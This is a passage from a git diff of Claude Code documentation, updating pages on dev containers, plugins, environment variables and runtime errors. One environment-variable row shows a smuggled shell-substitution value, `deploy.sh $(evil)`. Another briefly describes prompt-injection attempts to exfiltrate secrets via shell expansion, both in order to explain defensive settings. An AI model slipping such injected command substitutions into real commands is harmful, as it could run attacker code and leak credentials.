it, the same as when you browse to a new site in the preview. External addresses may include paths. Choose **Always allow** to skip the prompt for that site in the future. Organization policies that restrict external sites in the preview still apply. @@ -722,7 +722,7 @@ Organizations on Team or Enterprise plans can manage desktop app behavior throug These settings are configured through the [admin settings console](https://claude.ai/admin-settings/claude-code): * **Code in the desktop**: control whether users in your organization can access Claude Code in the desktop app -* **Code in the web**: enable or disable [web sessions](/docs/en/claude-code-on-the-web) for your organization +* **Code in the web**: enable or disable [cloud sessions](/docs/en/claude-code-on-the-web) for your organization * **Remote Control**: enable or disable [Remote Control](/docs/en/remote-control) for your organization * **Disable Bypass permissions mode**: prevent users in your organization from enabling bypass permissions mode diff --git a/content/en/docs/claude-code/devcontainer.md b/content/en/docs/claude-code/devcontainer.md index d6a9824110..053dab2a8e 100644 --- a/content/en/docs/claude-code/devcontainer.md +++ b/content/en/docs/claude-code/devcontainer.md @@ -132,7 +132,7 @@ To set [environment variables](/docs/en/env-vars) that apply to every Claude Cod `CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC` also disables the feature-flag evaluation that [Remote Control](/docs/en/remote-control#requirements) and the other [features that need feature-flag fetching](/docs/en/env-vars#features-that-need-feature-flag-fetching) depend on, so sessions in the container can't use them. -The Dev Container Feature always installs the latest Claude Code release. To pin a specific Claude Code version for reproducible builds, install it from your Dockerfile with `npm install -g @anthropic-ai/claude-code@X.Y.Z` instead of using the feature, and set `DISABLE_AUTOUPDATER` as shown above. +The Dev Container Feature always installs the latest Claude Code release. To pin a specific Claude Code version for reproducible builds, install it from your Dockerfile with `npm install -g @anthropic-ai/claude-code@X.Y.Z` instead of using the feature, and set `DISABLE_AUTOUPDATER` to `1` in `containerEnv`. For the full list of policy controls including permission rules, tool restrictions, and MCP server allowlists, see [Set up Claude Code for your organization](/docs/en/admin-setup). @@ -189,7 +189,7 @@ The reference configuration consists of three files. None of them are required w Once Claude Code is running in your dev container, the pages below cover the rest of an organization rollout: choosing an authentication path, delivering managed policy outside the repository, monitoring usage, and understanding what Claude Code stores and sends. * [Set up Claude Code for your organization](/docs/en/admin-setup): choose an authentication provider, decide how policy reaches devices, and plan the rollout -* [Server-managed settings](/docs/en/server-managed-settings): deliver managed policy from the Claude.ai admin console so engineers cannot bypass it by editing repository files +* [Server-managed settings](/docs/en/server-managed-settings): deliver managed policy from the claude.ai admin console so engineers cannot bypass it by editing repository files * [Monitor usage and audit activity](/docs/en/monitoring-usage): export OpenTelemetry metrics and review what your team is running * [Network access requirements](/docs/en/network-config#network-access-requirements): the full domain allowlist for proxies and firewalls * [Telemetry services and opt-out](/docs/en/data-usage#telemetry-services): what Claude Code sends by default and the environment variables that disable it diff --git a/content/en/docs/claude-code/discover-plugins.md b/content/en/docs/claude-code/discover-plugins.md index d3765ee5c0..2ff8c6467e 100644 --- a/content/en/docs/claude-code/discover-plugins.md +++ b/content/en/docs/claude-code/discover-plugins.md @@ -72,7 +72,7 @@ Install the language server binary from the table below before using these plugi You can also [create your own LSP plugin](/docs/en/plugins-reference#lsp-servers) for other languages. - If you see `Executable not found in $PATH` in the `/plugin` Errors tab after installing a plugin, install the required binary from the table above. + If you see `Executable not found in $PATH` in the `/plugin` Errors tab after installing a plugin, install the binary the [code intelligence](#code-intelligence) table lists for that plugin. #### What Claude gains from code intelligence plugins diff --git a/content/en/docs/claude-code/env-vars.md b/content/en/docs/claude-code/env-vars.md index a819e0e185..ab2b8bcef9 100644 --- a/content/en/docs/claude-code/env-vars.md +++ b/content/en/docs/claude-code/env-vars.md @@ -214,6 +214,7 @@ Numeric variables such as timeouts, token budgets, and retry counts accept scien | `CLAUDE_CODE_AUTO_COMPACT_WINDOW` | Set the [auto-compact window](/docs/en/model-config#set-the-auto-compact-window) in tokens, from `100000` to `1000000`. Accepts a plain integer such as `500000` only: a value like `500k` reads as `500` and clamps to the 100K minimum. The effective window is also capped at the model's context window. Takes precedence over the `/autocompact` command, the `--autocompact` flag, and the `autoCompactWindow` setting. The status line's `used_percentage` always measures against the model's full context window, so once this variable is set, that percentage no longer indicates when compaction will run | | `CLAUDE_CODE_AUTO_CONNECT_IDE` | Override automatic [IDE connection](/docs/en/vs-code). By default, Claude Code connects automatically when launched inside a supported IDE's integrated terminal. Set to `false` to prevent this. Set to `true` to force a connection attempt when auto-detection fails, such as when tmux obscures the parent terminal. Takes precedence over the [`autoConnectIde`](/docs/en/settings-reference#autoconnectide) global config setting | | `CLAUDE_CODE_AWS_CHAIN_RESOLVE_TIMEOUT_MS` | Time in milliseconds Claude Code waits for the AWS default credential provider chain to produce credentials before the request fails with [`AWS default-chain credential resolve timed out`](/docs/en/errors#aws-default-chain-credential-resolve-timed-out) (default: `60000`). Raise it when a step in your chain legitimately needs longer, such as a browser-based SSO sign-in with MFA through a wrapper like `aws-vault`. Applies wherever Claude Code signs with the default chain: [Amazon Bedrock](/docs/en/amazon-bedrock#credential-caching-and-resolution-timeout), [Claude Platform on AWS](/docs/en/claude-platform-on-aws), and the [Mantle endpoint](/docs/en/amazon-bedrock#use-the-mantle-endpoint). Requires Claude Code v2.1.207 or later | +| `CLAUDE_CODE_BASH_EDIT_DIFF` | Set to `0` to turn off the [diff of the files a Bash command changed](/docs/en/hooks#bash), or `1` to record it in every permission mode. Takes precedence over the [`bashEditDiffEnabled`](/docs/en/settings-reference#basheditdiffenabled) setting. Requires Claude Code v2.1.269 or later | | `CLAUDE_CODE_BRIDGE_SESSION_ID` | Set automatically in Bash tool and [hook command](/docs/en/hooks) subprocesses while the session has an active [Remote Control](/docs/en/remote-control) connection, and removed when the connection ends. The value is the session's ID in `session_` form, the same identifier that appears in the session's `claude.ai/code` URL, so a script can link back to the session that ran it. Requires Claude Code v2.1.199 or later. In [cloud sessions](/docs/en/claude-code-on-the-web), read `CLAUDE_CODE_REMOTE_SESSION_ID` instead | | `CLAUDE_CODE_BS_AS_CTRL_BACKSPACE` | Set to `0` to make Claude Code read the `0x08` byte, also written `^H`, as plain Backspace, or `1` to read it as Ctrl+Backspace. Either value replaces the platform default. By default, Claude Code reads it as Ctrl+Backspace on Windows, except when `TERM_PROGRAM` is `mintty` or `TERM` is `cygwin`, and as plain Backspace on macOS and Linux. Set `0` in a Windows terminal where [Backspace deletes a whole word](/docs/en/terminal-config#fix-backspace-deleting-a-whole-word-on-windows) | | `CLAUDE_CODE_CERT_STORE` | Comma-separated list of CA certificate sources for TLS connections. `bundled` is the Mozilla CA set shipped with Claude Code. `system` is the operating system trust store, read only on runtimes with `tls.getCACertificates`: the native binary, or Node 22.15 or later for npm installs. See [CA certificate store](/docs/en/network-config#ca-certificate-store). Default is `bundled,system` | @@ -347,7 +348,7 @@ Numeric variables such as timeouts, token budgets, and retry counts accept scien | `CLAUDE_CODE_SCRIPT_CAPS` | JSON object limiting how many times specific scripts may be invoked per session when `CLAUDE_CODE_SUBPROCESS_ENV_SCRUB` is set. Keys are substrings matched against the command text; values are integer call limits. For example, `{"deploy.sh": 2}` allows `deploy.sh` to be called at most twice. Matching is substring-based so shell-expansion tricks like `./scripts/deploy.sh $(evil)` still count against the cap. Runtime fan-out via `xargs` or `find -exec` is not detected; this is a defense-in-depth control | | `CLAUDE_CODE_SCROLL_SPEED` | Set the mouse wheel scroll multiplier in [fullscreen rendering](/docs/en/fullscreen#mouse-wheel-scrolling). Accepts any positive value up to 20, including fractional values below 1 such as `0.5` to slow accelerated trackpad and wheel scrolling in terminals that already amplify wheel events. Set to `3` to match `vim` if your terminal sends one wheel event per notch without amplification. Ignored in the JetBrains IDE terminal, where Claude Code uses its own scroll handling | | `CLAUDE_CODE_SEND_FEEDBACK` | Set to `0` to turn off [Claude-drafted feedback](/docs/en/tools-reference#sendfeedback-tool-behavior) for a session. Set to `1` to turn it on where your account already has access; the variable can't grant access itself, and the other switches that turn feedback off, such as `DISABLE_FEEDBACK_COMMAND` and the [`feedbackDrafts`](/docs/en/settings-reference#feedbackdrafts) setting's `off` value, still apply | -| `CLAUDE_CODE_SESSIONEND_HOOKS_TIMEOUT_MS` | Override the time budget in milliseconds for [SessionEnd](/docs/en/hooks#sessionend) hooks. Applies to session exit, `/clear`, and switching sessions via interactive `/resume`. By default the budget is 1.5 seconds, automatically raised to the highest per-hook `timeout` configured in settings files, up to 60 seconds. Timeouts on plugin-provided hooks do not raise the budget | +| `CLAUDE_CODE_SESSIONEND_HOOKS_TIMEOUT_MS` | Override the time budget in milliseconds for [SessionEnd](/docs/en/hooks#sessionend) hooks. The value is also the timeout for each hook that sets no `timeout` of its own. Applies to session exit, `/clear`, and switching sessions via interactive `/resume`. By default the budget is 1.5 seconds, automatically raised to the highest per-hook `timeout` configured in settings files, up to 60 seconds. Timeouts on plugin-provided hooks do not raise the budget | | `CLAUDE_CODE_SESSION_ID` | Set automatically to the current session ID in Bash and PowerShell tool subprocesses, [hook command](/docs/en/hooks) subprocesses, and stdio [MCP server](/docs/en/mcp) subprocesses. For Bash, PowerShell, and hooks this matches the `session_id` field in the hook JSON input and is updated on `/clear`. An MCP server subprocess retains the ID it was spawned with. On `--resume ` it receives the resumed ID, matching hooks and Bash. On `--continue` or `--resume` without an explicit ID it may receive the initial startup ID instead. Use to correlate scripts and external tools with the Claude Code session that launched them | | `CLAUDE_CODE_SHELL` | Set the shell Claude Code uses to run Bash tool commands. Accepts a path to a `bash` or `zsh` binary, for example `/opt/homebrew/bin/bash`. Other shells such as `fish` are not supported. If the value is not a working `bash` or `zsh` path, Claude Code ignores it and falls back to auto-detection. Auto-detection uses your `$SHELL` when it points to `bash` or `zsh`, otherwise it picks the first working `zsh` then `bash` found on your `PATH` and standard install locations | | `CLAUDE_CODE_SHELL_PREFIX` | Command prefix that wraps shell commands Claude Code spawns: Bash tool calls, [hook](/docs/en/hooks) commands, [status line](/docs/en/statusline) commands, and stdio [MCP server](/docs/en/mcp) startup commands. PowerShell hooks and exec-form hooks run without the prefix. Useful for logging or auditing. Setting a bare executable path such as `/path/to/logger.sh` runs each command as `/path/to/logger.sh ''`. The wrapper receives the command line as a single shell-quoted argument in `$1`, so the wrapper must re-evaluate `$1` with a shell, for example `exec bash -c "$1"`. Treating `$1` as a bare executable path breaks stdio MCP servers that pass arguments such as `npx -y `. For Bash tool calls, `$1` contains the full shell invocation Claude Code assembles, including environment setup, not only the command Claude ran | @@ -369,7 +370,7 @@ Numeric variables such as timeouts, token budgets, and retry counts accept scien | `CLAUDE_CODE_SUBPROCESS_ENV_SCRUB` | Set to `1` to strip credentials from subprocess environments (Bash tool, hooks, MCP stdio servers): Anthropic and cloud provider credentials, any other variable that Claude Code recognizes as a credential, and credentials embedded in package registry URLs. The parent Claude process keeps these credentials for API calls, but child processes cannot read them, reducing exposure to prompt injection attacks that attempt to exfiltrate secrets via shell expansion. On Linux, this also runs Bash subprocesses in an isolated PID namespace so they cannot read host process environments via `/proc`; as a side effect, `ps`, `pgrep`, and `kill` cannot see or signal host processes. `claude-code-action` sets this automatically when `allowed_non_write_users` is configured | | `CLAUDE_CODE_SYNC_PLUGIN_INSTALL` | Set to `1` in non-interactive mode (the `-p` flag) to wait for plugin installation to complete before the first query. Without this, plugins install in the background and may not be available on the first turn. Combine with `CLAUDE_CODE_SYNC_PLUGIN_INSTALL_TIMEOUT_MS` to bound the wait | | `CLAUDE_CODE_SYNC_PLUGIN_INSTALL_TIMEOUT_MS` | Timeout in milliseconds for synchronous plugin installation. When exceeded, Claude Code proceeds without plugins and logs an error. No default: without this variable, synchronous installation waits until complete | -| `CLAUDE_CODE_SYNC_SKILLS` | Set to `1` to download your enabled claude.ai skills into `~/.claude/skills/synced/` and resync every 10 minutes. Before it runs the first query, Claude Code waits up to `CLAUDE_CODE_SYNC_SKILLS_WAIT_TIMEOUT_MS` for the list of your skills. The downloads themselves finish in the background, and Claude waits for a skill's download when it invokes that skill. The `synced` folder name is [reserved for this download](/docs/en/skills#where-skills-live). Before v2.1.227, the skills downloaded into `~/.claude/skills/` directly. Applies only in non-interactive mode with the `-p` flag. Requires claude.ai authentication. [Claude Code on the web](/docs/en/claude-code-on-the-web) sessions receive your enabled claude.ai skills automatically; you don't need to set this there. Claude Code applies [extra rules to the downloaded skills](/docs/en/skills#how-synced-skills-behave), such as not running their `!` commands on your machine | +| `CLAUDE_CODE_SYNC_SKILLS` | Set to `1` to download your enabled claude.ai skills into `~/.claude/skills/synced/` and resync every 10 minutes. Before it runs the first query, Claude Code waits up to `CLAUDE_CODE_SYNC_SKILLS_WAIT_TIMEOUT_MS` for the list of your skills. The downloads themselves finish in the background, and Claude waits for a skill's download when it invokes that skill. The `synced` folder name is [reserved for this download](/docs/en/skills#where-skills-live). Before v2.1.227, the skills downloaded into `~/.claude/skills/` directly. Applies only in non-interactive mode with the `-p` flag. Requires claude.ai authentication. [Cloud sessions](/docs/en/claude-code-on-the-web) receive your enabled claude.ai skills automatically; you don't need to set this there. Claude Code applies [extra rules to the downloaded skills](/docs/en/skills#how-synced-skills-behave), such as not running their `!` commands on your machine | | `CLAUDE_CODE_SYNC_SKILLS_INSTALL_TIMEOUT_MS` | Timeout in milliseconds for a mid-session skills resync when `CLAUDE_CODE_SYNC_SKILLS` is set (default: 30000). Bounds the download triggered when the host requests a skill reload during the session. When exceeded, the resync stops and remaining downloads continue in the background | | `CLAUDE_CODE_SYNC_SKILLS_WAIT_TIMEOUT_MS` | Timeout in milliseconds for the first query to wait for the initial skill list when `CLAUDE_CODE_SYNC_SKILLS` is set (default: 5000). When exceeded, the first query runs with whichever skills have arrived. The downloads finish in the background either way, and Claude waits for a skill's download when it invokes that skill | | `CLAUDE_CODE_SYNTAX_HIGHLIGHT` | Set to `false` to disable syntax highlighting in diff output. Useful when colors interfere with your terminal setup. To also disable highlighting in code blocks and file previews, use the [`syntaxHighlightingDisabled`](/docs/en/settings-reference#syntaxhighlightingdisabled) setting | diff --git a/content/en/docs/claude-code/errors.md b/content/en/docs/claude-code/errors.md index 2413d1762e..0f67a5d4ba 100644 --- a/content/en/docs/claude-code/errors.md +++ b/content/en/docs/claude-code/errors.md @@ -8,7 +8,7 @@ This page lists runtime errors Claude Code displays and how to recover from each one, plus what to check when responses seem off without an error. For installation errors such as `command not found` or TLS failures during setup, see [Troubleshoot installation and login](/docs/en/troubleshoot-install). -Except for [Wrapper and IDE errors](#wrapper-and-ide-errors), which the launching program prints rather than Claude Code itself, these errors and recovery commands apply across the CLI, the [Desktop app](/docs/en/desktop), and [Claude Code on the web](/docs/en/claude-code-on-the-web), since all three wrap the same Claude Code CLI. For other surface-specific issues, see the troubleshooting section on that surface's page. +Except for [Wrapper and IDE errors](#wrapper-and-ide-errors), which the launching program prints rather than Claude Code itself, these errors and recovery commands apply across the CLI, the [Desktop app](/docs/en/desktop), and [cloud sessions](/docs/en/claude-code-on-the-web), since all three wrap the same Claude Code CLI. For other surface-specific issues, see the troubleshooting section on that surface's page. Claude Code calls the Claude API for model responses, so most runtime errors map to an underlying API error code. This page covers what each error means inside Claude Code and how to recover. For the raw HTTP status code definitions, see the [Claude Platform error reference](https://platform.claude.com/docs/en/api/errors). @@ -149,6 +149,8 @@ Match the message you see to a section below. | `Download timed out: exceeded the total deadline` | [Installation errors](#the-connection-dropped-while-downloading-the-update) | | `--bg and --print conflict` | [Command-line errors](#command-line-errors) | | `Cloud sessions cannot be created from a --restricted session` | [Command-line errors](#cloud-sessions-cannot-be-created-from-a-restricted-session) | +| `Cloud sessions are disabled by your organization's policy` | [Command-line errors](#cloud-sessions-are-disabled-by-your-organizations-policy) | +| `Couldn't verify your organization's policy for cloud sessions` | [Command-line errors](#cloud-sessions-are-disabled-by-your-organizations-policy) | | `Error: --json-schema is not a valid JSON Schema` | [Command-line errors](#command-line-errors) | | `Error: Invalid --agents configuration:` | [Command-line errors](#invalid-agents-configuration) | | `Error: Settings file exceeds the 2MiB limit` | [Command-line errors](#settings-file-exceeds-the-2mib-limit) | @@ -165,6 +167,7 @@ Match the message you see to a section below. | `Server rejected the Authorization header minted by the configured headersHelper` | [Command-line errors](#server-rejected-the-authorization-header-minted-by-the-configured-headershelper) | | `Error: MCP tool (passed via --permission-prompt-tool) not found` | [Command-line errors](#mcp-permission-prompt-tool-not-found) | | `OAuth callback port is already in use — another process may be holding it` | [Command-line errors](#oauth-callback-port-is-already-in-use) | +| `No available ports for OAuth redirect` | [Command-line errors](#no-available-ports-for-oauth-redirect) | | `Shell command failed for pattern "..."`, from `/security-review` or any skill that injects dynamic context | [Command-line errors](#security-review-fails-without-origin-head) | | `Shell command permission check failed for pattern "..."`, from a skill that injects dynamic context | [Command-line errors](#security-review-fails-without-origin-head) | | ``Skill requires bash (`shell: bash` in frontmatter) but Git Bash was not found`` | [Command-line errors](#security-review-fails-without-origin-head) | @@ -179,6 +182,7 @@ Match the message you see to a section below. | `Ultrareview clones / in the cloud with the GitHub account connected to your Claude account, and none is connected` | [Command-line errors](#no-github-account-is-connected-to-your-claude-account) | | `Your connected GitHub account can't see /` | [Command-line errors](#your-connected-github-account-cant-see-the-repository) | | `The GitHub App preflight failed transiently (network or service hiccup) — retry in a moment to start from GitHub instead` | [Command-line errors](#the-github-app-preflight-failed-transiently) | +| `GitHub isn't connected to your Claude account, so this repository can't be cloned in the cloud` | [Command-line errors](#github-isnt-connected-to-your-claude-account) | | `Failed to resume the conversation` | [Command-line errors](#failed-to-resume-the-conversation) | | `No conversation found with session ID: ` | [Command-line errors](#no-conversation-found-with-the-session-id) | | `Cannot switch renderers in this session` | [Command-line errors](#cannot-switch-renderers-in-this-session) | @@ -205,6 +209,7 @@ Match the message you see to a section below. | `pkill: refusing to run` | [Tool errors](#pkill-pattern-matches-the-claude-code-process) | | `Failed to write to 's inbox — nothing was sent` | [Tool errors](#failed-to-write-to-a-teammate-inbox) | | `Failed to write the plan approval request to the lead's inbox — plan not submitted` | [Tool errors](#failed-to-write-to-a-teammate-inbox) | +| `Its agent definition was not restored: the folder its definition file came from is not trusted` | [Tool errors](#teammate-agent-definition-not-restored) | | `Message too large for cross-session delivery` | [Tool errors](#message-too-large-for-cross-session-delivery) | | `Too many messages to this session just now` | [Tool errors](#too-many-messages-to-this-session-just-now) | | `Refusing to send: reply target is a symlink` / `Refusing to send: cannot vet reply target` | [Tool errors](#refusing-to-send-a-cross-session-message) | @@ -219,6 +224,9 @@ Match the message you see to a section below. | `Command killed: its output file was replaced or could no longer be verified` | [Tool errors](#task-output-swap-refused) | | `the source file is not valid UTF-8 text` / `the source file is not valid UTF-16 text` | [Tool errors](#the-source-file-is-not-valid-utf-8-text) | | `the source file has the replacement character U+FFFD` | [Tool errors](#the-source-file-is-not-valid-utf-8-text) | +| `Reading a local file from outside this session's connected folders, or through a link, needs the approval card` | [Tool errors](#reading-a-local-file-from-outside-the-connected-folders) | +| `cannot read file_path (...) — the file could not be examined, and no one can answer the approval card` | [Tool errors](#reading-a-local-file-from-outside-the-connected-folders) | +| `WebFetch cannot fetch localhost or other hostnames without a dot` | [Tool errors](#webfetch-cannot-fetch-localhost) | | `Can't open MCP settings while no terminal is attached to this background session` | [Background session errors](#commands-refused-in-a-background-session) | | `Can't open MCP settings in a background session` | [Background session errors](#commands-refused-in-a-background-session) | | `blocked because the path is spelled in a form that cannot be safely resolved` | [Background session errors](#write-or-command-blocked-because-the-path-cannot-be-safely-resolved) | @@ -227,6 +235,7 @@ Match the message you see to a section below. | `Can't open — this session is running in another terminal` | [Background session errors](#this-session-is-running-in-another-terminal) | | `This conversation is already open in another running Claude session` | [Background session errors](#this-session-is-running-in-another-terminal) | | `This session's saved conversation is no longer on disk` | [Background session errors](#this-sessions-saved-conversation-is-no-longer-on-disk) | +| `kept — its worktree is still at ` | [Background session errors](#worktree-has-commits-that-are-not-pushed-anywhere) | | `kept — unpushed commits on ` | [Background session errors](#worktree-has-commits-that-are-not-pushed-anywhere) | | `kept — worktree has commits that are not pushed anywhere` | [Background session errors](#worktree-has-commits-that-are-not-pushed-anywhere) | | `terminal host process died — press Enter to restart` / `This session's terminal host process died` | [Background session errors](#terminal-host-process-died) | @@ -563,7 +572,7 @@ Before a window runs out, Claude Code can warn you that you've used most of it, The selected model uses the 1M-token extended context window, and your plan only includes it through usage credits. ```text theme={null} -API Error: Usage credits required for 1M context · run /usage-credits to turn them on, or /model to switch to standard context +API Error: Usage credits required for 1M context · run /usage-credits to turn them on (they take effect after you restart Claude Code), or /model to switch to standard context ``` This is an entitlement check, not a quota exhaustion. It fires even when your session and weekly allowances have capacity remaining. See [Extended context](/docs/en/model-config#extended-context) for which plans include 1M context directly and which require usage credits. Claude Code runs this check when you pick the model with `/model`, and only on a direct connection to the Anthropic API; if you point `ANTHROPIC_BASE_URL` at an [LLM gateway](/docs/en/llm-gateway), `/model` allows the `[1m]` selection and the gateway decides whether the request succeeds. @@ -573,10 +582,12 @@ When this error appears mid-conversation because the context grew past 200K toke **What to do:** * Run `/model` and select the variant without the `[1m]` suffix to fall back to the standard context window -* Where the message names `/usage-credits`, run it to turn on metered billing for the 1M variant on Pro and Max, or to request usage credits from your admin on Team and Enterprise +* Where the message names `/usage-credits`, run it to turn on metered billing for the 1M variant on Pro and Max, or to request usage credits from your admin on Team and Enterprise. Restart Claude Code once usage credits are on. Until you restart, the session stays at the standard context limit. * If the error persists after `/model`, a 1M model ID may be set elsewhere. See [Setting your model](/docs/en/model-config#setting-your-model) for the configuration locations to check in priority order. * To remove 1M variants from the model picker entirely, set [`CLAUDE_CODE_DISABLE_1M_CONTEXT=1`](/docs/en/env-vars) +Before v2.1.268, the message ended with `run /usage-credits to turn them on, or /model to switch to standard context` and didn't mention restarting. + ### The prompt to confirm went unanswered If your account requires the [Fable usage-credits consent](/docs/en/model-config#fable-and-usage-credits), Claude Code asks you to confirm before a Fable request bills usage credits. When nobody answers that consent prompt in a session that may have no one at its terminal, Claude Code closes the prompt and ends the turn with one of these messages: @@ -1863,7 +1874,7 @@ Claude Opus is not available with the Claude Pro plan. If you have updated your **What to do:** * Run `/model` and select a model your plan includes -* If you upgraded your plan recently and still see this, run `/logout` then `/login`. The stored token reflects your plan at the time you signed in, so upgrading on the web does not take effect in an existing session until you re-authenticate. +* If you upgraded your plan recently and still see this, run `/logout` then `/login`. The stored token reflects your plan at the time you signed in, so upgrading on claude.ai does not take effect in an existing session until you re-authenticate. * See [claude.com/pricing](https://claude.com/pricing) for which models each plan includes ### Claude Code does not support this model @@ -1890,7 +1901,7 @@ API Error: 400 Claude Code 2.1.240 is older than the minimum version required by Model is restricted by your organization's settings

-Your organization admin has disabled this model in the claude.ai admin console, or it is excluded by an [`availableModels`](/docs/en/model-config#restrict-model-selection) allowlist in managed settings. When the restricted model was set with `--model`, `ANTHROPIC_MODEL`, or the `model` setting, Claude Code substitutes an allowed model and continues. Typing `/model ` for a restricted model is rejected with `Run /model to choose a different model.` and the session keeps its current model. +Your organization admin has disabled this model in the claude.ai admin console, or it is excluded by an [`availableModels`](/docs/en/model-config#restrict-model-selection) allowlist in managed settings. When the restricted model was set with `--model`, `ANTHROPIC_MODEL`, or the `model` setting, Claude Code substitutes an allowed model and continues. Typing `/model ` for a restricted model is rejected with `Run /model to choose a different model.` and the session keeps its current model. The substitution notice can also appear mid-session after an admin disables the model a session is running on in the claude.ai admin console. ```text theme={null} Model "claude-opus-4-8" is restricted by your organization's settings. Using claude-sonnet-4-6 instead. @@ -2150,7 +2161,7 @@ When there are more than 20 problem lines, Claude Code prints the first 20 and r Cloud sessions cannot be created from a --restricted session -When you start a session with [`--restricted`](/docs/en/cli-reference#cli-flags), Claude Code refuses to create [cloud sessions](/docs/en/claude-code-on-the-web#from-terminal-to-web) from it, because the new session would run outside the restricted process and wouldn't enforce restricted mode. Claude Code refuses on the client, before contacting the server, so no cloud session is created: +When you start a session with [`--restricted`](/docs/en/cli-reference#cli-flags), Claude Code refuses to create [cloud sessions](/docs/en/claude-code-on-the-web#from-terminal-to-cloud) from it, because the new session would run outside the restricted process and wouldn't enforce restricted mode. Claude Code refuses on the client, before contacting the server, so no cloud session is created: ```text theme={null} Cloud sessions cannot be created from a --restricted session: they would not enforce it. @@ -2163,6 +2174,27 @@ Cloud sessions cannot be created from a --restricted session: they would not enf Before v2.1.248, Claude Code had no `--restricted` flag; earlier versions reject the flag itself with an unknown-option error. +

+ Cloud sessions are disabled by your organization's policy +

+ +Your organization's `allow_remote_sessions` policy is off, so [cloud sessions](/docs/en/claude-code-on-the-web) and the commands that use them aren't available: + +```text theme={null} +Cloud sessions are disabled by your organization's policy. Contact your organization admin to enable them. +``` + +The message appears when you [create a cloud session from the terminal](/docs/en/claude-code-on-the-web#from-terminal-to-cloud) and when you submit a command that needs cloud sessions, such as `/teleport`, `/remote-env`, or `/web-setup`. Before v2.1.268, submitting one of those commands returned [`Unknown command`](#unknown-command) instead. + +This is a server-side organization policy, so it can't be overridden from local settings, environment variables, or CLI flags. + +If Claude Code hasn't loaded your organization's policy yet or can't fetch it, those commands answer `Couldn't verify your organization's policy for cloud sessions. Check your network connection, then restart Claude Code and try again.` instead. + +**What to do:** + +* Ask an [Owner](/docs/en/server-managed-settings#access-control) in your organization to enable cloud sessions in the Claude Code admin settings at [claude.ai/admin-settings/claude-code](https://claude.ai/admin-settings/claude-code) +* If the message says it couldn't verify the policy, check your network connection, then restart Claude Code and try again + ### The --json-schema value is not a valid JSON Schema The schema you passed to [`--json-schema`](/docs/en/cli-reference#cli-flags) in [non-interactive mode](/docs/en/headless#get-structured-output) failed JSON Schema compilation, so `claude` exits with code 1 instead of running the prompt. Before v2.1.205, an invalid schema produced unstructured output with no error, and any schema that used the `format` keyword was treated as invalid. @@ -2419,6 +2451,21 @@ On Windows, the suggested command is `netstat -ano | findstr :` instead. * If another program needs that port permanently, register a different redirect URI with the server and set its port with `MCP_OAUTH_CALLBACK_PORT` or `--callback-port`, whichever you use * Then start the sign-in again, for example by selecting the server in `/mcp` +### No available ports for OAuth redirect + +When you sign in to a remote MCP server with [OAuth](/docs/en/mcp#authenticate-with-remote-mcp-servers), Claude Code starts a local listener to receive the sign-in callback. The sign-in fails with this message when Claude Code can't bind a local port for it. Something on the machine is preventing it from listening on `127.0.0.1`, for example security software or a sandbox policy that denies local listeners. + +```text theme={null} +No available ports for OAuth redirect +``` + +Before v2.1.268, Claude Code didn't fall back to an operating-system-assigned port, so the message also appeared when only its self-picked ports couldn't be bound. That can happen on Windows hosts where Hyper-V reserves port ranges that cover the ports Claude Code picks from. + +**What to do:** + +* Check whether security software or a sandbox policy blocks processes from listening on `127.0.0.1`, and allow Claude Code to bind a local port +* Then start the sign-in again, for example by selecting the server in `/mcp` +

/security-review fails without origin/HEAD

@@ -2432,11 +2479,15 @@ Use '--' to separate paths from revisions, like this: 'git [...] -- [...]' ``` -The quoted command varies between runs: the review starts several `git` commands against `origin/HEAD` at once and reports whichever fails first, so you may see `git log` or a different `git diff` in its place. Git creates the ref only when the remote's default branch is both advertised by the remote and covered by your fetch refspec. A full `git clone` of a remote with commits meets both conditions. Single-branch and CI checkouts fetch too narrow a refspec, a server-side HEAD left pointing at a branch nobody pushed advertises no default, and a repository with no `origin` remote, or one you never fetched, provides neither. +The message may quote `git log` or a different `git diff` instead. Git creates `origin/HEAD` only when the remote advertises a default branch and your fetch refspec covers it, which a full `git clone` of a remote with commits does. The ref is missing in these setups: + +* A single-branch or CI checkout, which fetches too narrow a refspec +* A remote whose server-side HEAD points at a branch nobody pushed +* A repository with no `origin` remote, or one you never fetched -Claude Code shows the same error for any skill that [injects dynamic context](/docs/en/skills#when-an-injected-command-fails). A failed injected command aborts that skill's invocation. Two sibling strings fire before the command runs at all: +Claude Code shows the same error for any skill that [injects dynamic context](/docs/en/skills#when-an-injected-command-fails), and a failed injected command aborts that skill's invocation. Two sibling strings fire before the command runs at all: -* `Shell command permission check failed for pattern "..."`: the command's permission check returned something other than allow. Injected commands never prompt, so the invocation aborts without asking you. Pre-approve commands that no rule matches with [`allowed-tools`](/docs/en/skills#pre-approve-tools-for-a-skill). A matching ask or deny rule still aborts the invocation regardless of `allowed-tools` +* `Shell command permission check failed for pattern "..."`: the command's permission check didn't allow it. [Permission checks on injected commands](/docs/en/skills#permission-checks-on-injected-commands) covers which results abort in each permission mode and how to pre-approve a command with `allowed-tools` * ``Skill requires bash (`shell: bash` in frontmatter) but Git Bash was not found``: the skill's frontmatter demands bash on a machine without it. Install Git for Windows or change the frontmatter to `shell: powershell`. See [How injected commands run](/docs/en/skills#how-injected-commands-run) **What to do:** @@ -2501,7 +2552,7 @@ Unknown command: /hepl. Did you mean /help? Claude Code suggests the closest command name or alias that the menu lists in this session. When nothing is close, the message ends after the name. The cause is usually one of the following: * A typo, such as `/hepl` for `/help`. [How the command menu matches what you type](/docs/en/commands#how-the-command-menu-matches-what-you-type) covers picking a close match before you submit -* A command that exists but isn't available in this session because a requirement isn't met, such as your platform, plan, or authentication method. The troubleshooting entries for [`/web-setup`](/docs/en/web-quickstart#web-setup-shows-no-commands-match-or-unknown-command) and [`/schedule`](/docs/en/routines#schedule-returns-unknown-command) walk through two common cases. Some commands answer with their own message when your organization's policy disables them +* A command that exists but isn't available in this session because a requirement isn't met, such as your platform, plan, or authentication method. The troubleshooting entries for [`/web-setup`](/docs/en/web-quickstart#web-setup-shows-no-commands-match-or-unknown-command) and [`/schedule`](/docs/en/routines#schedule-returns-unknown-command) walk through two common cases. Some commands answer with their own message when your organization's policy disables them, such as [`Cloud sessions are disabled by your organization's policy`](#cloud-sessions-are-disabled-by-your-organizations-policy) * A command from a [plugin](/docs/en/plugins) or [MCP server](/docs/en/mcp#use-mcp-prompts-as-commands) that isn't installed or connected in this session Claude Code doesn't treat every prompt that starts with `/` as a command. It sends the prompt to Claude as a normal message when the first word after the `/` starts with punctuation, such as the `/--` that opens a Lean doc comment, or is a path such as `/var/log/syslog`. @@ -2616,6 